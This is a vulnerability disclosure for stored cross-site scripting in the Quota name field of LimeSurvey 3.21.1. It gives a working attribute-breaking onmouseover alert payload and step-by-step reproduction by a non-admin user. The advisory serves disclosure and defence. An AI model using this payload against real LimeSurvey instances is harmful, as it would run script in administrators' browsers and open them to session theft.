Summary15681: LimeSurvey 3.21.1 Cross Site Scripting Stored

• Title: LimeSurvey 3.21.1 Cross Site Scripting (XSS) Stored
• Date: 18/12/2019
• Author: Guram Javakhishvili
• Email:,
• Software : LimeSurvey 3.21.1
• Product Version: 3.21.1
• Vulnerability Type : Injection
• Vulnerability : Cross Site Scripting (XSS) Stored
LimeSurvey latest version 3.21.1 & LimeSurvey development version 4.0.0 suffer from reflective and persistent (Stored) cross site scripting and html injection vulnerabilities.
Insufficient validation of user input on the authenticated part of the Limesurvey application exposes the application to persistent cross site scripting (XSS) vulnerabilities.
These vulnerabilities enable potentially dangerous input from the user to be accepted by the application and then embedded back in the HTML response of the page returned by the web server.

Steps To Reproduce

Steps to Reproduce:
The attacker needs the appropriate permissions but non-Admin (can be basic user role) in order to create Survey and then add Quota.
It was noted that the Add Quota function was found to be vulnerable to one instance of Stored Cross Site Scripting (XSS) vulnerability.
When the survey Quota being viewed, e.g. by an administrative user, the
JavaScript code will be executed in the browser.

Vulnerable parameter:
• Quota%5Bname%5D

XSS payload:
• me"onmouseover="alert('QuotaName')"style="position:absolute;width:100%;height:100%;top:0;left:0;"9e2ad//

Steps to reproduce:
Step 1 - Once the survey is created then open the survey and click on 'Quotas' at the bottom left hand side menu bar, click on it.
Once it is open then insert the above XSS payload into the Quote name field and click save. (See first screenshot)


You should notice XSS payload rendering in the browser straightaway. See second screenshot .
